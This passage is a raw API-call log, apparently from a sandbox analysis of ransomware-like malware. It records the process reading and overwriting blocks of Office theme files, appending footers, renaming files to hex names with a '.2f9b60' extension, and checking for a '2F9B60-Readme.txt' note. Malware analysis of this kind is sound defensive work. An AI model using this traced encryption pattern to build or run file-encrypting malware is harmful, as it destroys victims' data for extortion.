RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x1da39bb2 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x1291a1c9 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x2ce58211 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x5ad233e7 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x41ecb190 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x4f02a474 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x4e44375d [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x3cf0ba0b [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x21f1bae4 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x2d879da1 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x900f8c9 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x7a6ffbc4 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x146daf8e [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x15ea9e96 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x75f08ce1 [0088.580] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x7580d934 [0088.581] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x17187bb [0088.581] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x6bb35dba [0088.581] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x7c5ffec2 [0088.581] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x623830f5 [0088.581] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x2a74a9c4 [0088.581] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x73f61533 [0088.581] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x4ec33624 [0088.581] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x76554129 [0088.581] RtlRandomEx (in: Seed=0x24b0f8f0 | out: Seed=0x24b0f8f0) returned 0x27f6a7eb [0088.590] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.590] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24b0f960, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x24b0f960*=0x3c00, lpOverlapped=0x0) returned 1 [0088.593] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0f0 [0088.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0f0) returned 1 [0088.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0f0 [0088.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0088.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.594] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24b0f960, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x24b0f960*=0x3c00, lpOverlapped=0x0) returned 1 [0098.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0098.401] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0xf7800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.401] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24b0f960, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x24b0f960*=0x3c00, lpOverlapped=0x0) returned 1 [0101.366] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0xf7800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0101.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a040 [0101.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0101.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262420) returned 1 [0101.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201bd170 [0101.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0101.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0101.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262180) returned 1 [0101.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 [0101.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0101.368] WriteFile (in: hFile=0xa40, lpBuffer=0x201bd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24b0f960, lpOverlapped=0x0 | out: lpBuffer=0x201bd170*, lpNumberOfBytesWritten=0x24b0f960*=0x3c00, lpOverlapped=0x0) returned 1 [0147.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201bd170) returned 1 [0147.866] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x1e56c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.866] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24b0f960, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x24b0f960*=0x3c00, lpOverlapped=0x0) returned 1 [0147.975] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x1e56c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0147.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0147.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42362d00 [0147.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0147.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0147.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0147.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.977] WriteFile (in: hFile=0xa40, lpBuffer=0x42362d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24b0f960, lpOverlapped=0x0 | out: lpBuffer=0x42362d00*, lpNumberOfBytesWritten=0x24b0f960*=0x3c00, lpOverlapped=0x0) returned 1 [0171.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42362d00) returned 1 [0171.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15290 [0171.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0171.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262420) returned 1 [0171.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0f0) returned 1 [0171.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61120) returned 1 [0171.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85a0f0 [0171.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0171.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0171.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3b0) returned 1 [0171.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85b3b0 [0171.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a90 [0171.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859f40 [0171.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f40) returned 1 [0171.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0171.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14a) returned 0x133ce0 [0171.024] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.024] WriteFile (in: hFile=0xa40, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x24b0fa10, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x24b0fa10*=0x14a, lpOverlapped=0x0) returned 1 [0181.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420598d0 [0181.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0181.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa50 [0181.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa50) returned 1 [0181.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0181.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa50 [0181.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0181.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a360) returned 1 [0181.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0181.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0181.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9edb0 [0181.016] sprintf (in: _Dest=0x1cd9edb0, _Format="%c%c" | out: _Dest="05") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edb2, _Format="%c%c" | out: _Dest="fe") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edb4, _Format="%c%c" | out: _Dest="ef") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edb6, _Format="%c%c" | out: _Dest="2b") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edb8, _Format="%c%c" | out: _Dest="29") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edba, _Format="%c%c" | out: _Dest="21") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edbc, _Format="%c%c" | out: _Dest="54") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edbe, _Format="%c%c" | out: _Dest="7d") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edc0, _Format="%c%c" | out: _Dest="34") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edc2, _Format="%c%c" | out: _Dest="01") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edc4, _Format="%c%c" | out: _Dest="eb") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edc6, _Format="%c%c" | out: _Dest="ce") returned 2 [0181.016] sprintf (in: _Dest=0x1cd9edc8, _Format="%c%c" | out: _Dest="70") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edca, _Format="%c%c" | out: _Dest="0e") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edcc, _Format="%c%c" | out: _Dest="90") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edce, _Format="%c%c" | out: _Dest="b5") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edd0, _Format="%c%c" | out: _Dest="3b") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edd2, _Format="%c%c" | out: _Dest="db") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edd4, _Format="%c%c" | out: _Dest="e7") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edd6, _Format="%c%c" | out: _Dest="47") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edd8, _Format="%c%c" | out: _Dest="c9") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edda, _Format="%c%c" | out: _Dest="40") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9eddc, _Format="%c%c" | out: _Dest="08") returned 2 [0181.017] sprintf (in: _Dest=0x1cd9edde, _Format="%c%c" | out: _Dest="2b") returned 2 [0181.017] RtlInitAnsiString (in: DestinationString=0x24b0fa88, SourceString="05feef2b2921547d3401ebce700e90b53bdbe747c940082b" | out: DestinationString="05feef2b2921547d3401ebce700e90b53bdbe747c940082b") [0181.017] RtlAnsiStringToUnicodeString (in: DestinationString=0x24b0fa58, SourceString="05feef2b2921547d3401ebce700e90b53bdbe747c940082b", AllocateDestinationString=1 | out: DestinationString="05feef2b2921547d3401ebce700e90b53bdbe747c940082b") returned 0x0 [0181.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce155a0 [0181.018] RtlFreeAnsiString (AnsiString="0") [0181.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0181.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0181.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa50) returned 1 [0181.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133ce0) returned 1 [0181.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3b0) returned 1 [0181.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a90) returned 1 [0181.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0f0) returned 1 [0181.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15290) returned 1 [0181.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a060) returned 1 [0181.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e20) returned 1 [0181.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a030) returned 1 [0181.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c31d50 [0181.038] wcscat (in: _Dest=0x42c31d50, _Source="05feef2b2921" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\05feef2b2921") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\05feef2b2921" [0181.038] wcscat (in: _Dest=0x42c31d50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\05feef2b2921.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\05feef2b2921.2f9b60" [0181.038] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\05feef2b2921.2f9b60", NtPathName=0x24b0fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\05feef2b2921.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0181.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c36f90 [0184.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36f90) returned 1 [0184.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202925e0) returned 1 [0184.519] NtQueryInformationFile (in: FileHandle=0xa40, IoStatusBlock=0x24b0fa98, FileInformation=0x24b0faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24b0fa98, FileInformation=0x24b0faa8) returned 0x0 [0184.519] NtSetInformationFile (FileHandle=0xa40, IoStatusBlock=0x24b0fa98, FileInformation=0x24b0faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0188.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c31d50) returned 1 [0188.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce155a0) returned 1 [0188.429] FlushFileBuffers (hFile=0xa40) returned 1 [0188.432] CloseHandle (hObject=0xa40) returned 1 [0200.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x43189080 [0200.856] wcscpy (in: _Dest=0x43189080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0200.856] wcscat (in: _Dest=0x43189080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0200.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0200.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43189080) returned 1 [0200.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784910) returned 1 Thread: id = 334 os_tid = 0xe68 [0088.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx")) returned 0x20 [0088.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx", dwFileAttributes=0x20) returned 1 [0088.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.610] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x1eeef680 | out: lpFileSize=0x1eeef680*=349663) returned 1 [0088.610] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x555db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.610] ReadFile (in: hFile=0xa3c, lpBuffer=0x1eeef600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1eeef648, lpOverlapped=0x0 | out: lpBuffer=0x1eeef600*, lpNumberOfBytesRead=0x1eeef648*=0x4, lpOverlapped=0x0) returned 1 [0088.616] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a150 [0088.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0088.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.616] NtQuerySystemTime (in: CurrentTime=0x1eeef540 | out: CurrentTime=0x1eeef540*=132462176944810000) returned 0x0 [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x56d8bb5d [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x182065e4 [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x1d385979 [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x595a020e [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x30a83138 [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x7a88ae82 [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x4e014fa8 [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x5d8b98f2 [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x455fa039 [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0xa925f21 [0088.616] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x619a3cff [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x2b921b4a [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x2ff63d46 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x24ea8e12 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x77fd22fb [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x6b29d988 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x62b15722 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x20ab7a82 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x3a83c2a7 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x563d8222 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x2327b5c8 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x4ba32c0b [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x2e86e6f3 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x60faa697 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x3549b952 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x9fbc02d [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x6e9738e2 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x6fba1489 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x351617e1 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x79ae1351 [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x5f095eff [0088.617] RtlRandomEx (in: Seed=0x1eeef530 | out: Seed=0x1eeef530) returned 0x32a03d75 [0088.625] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.625] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1eeef5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x1eeef5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.634] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a150 [0088.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a150) returned 1 [0088.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d30 [0088.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a150 [0088.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d30) returned 1 [0088.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.635] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce64d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1eeef5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesWritten=0x1eeef5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d30) returned 1 [0088.648] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.648] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1eeef5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x1eeef5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.651] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.651] RtlAllocateHeap (HeapHandle=0xa0000, 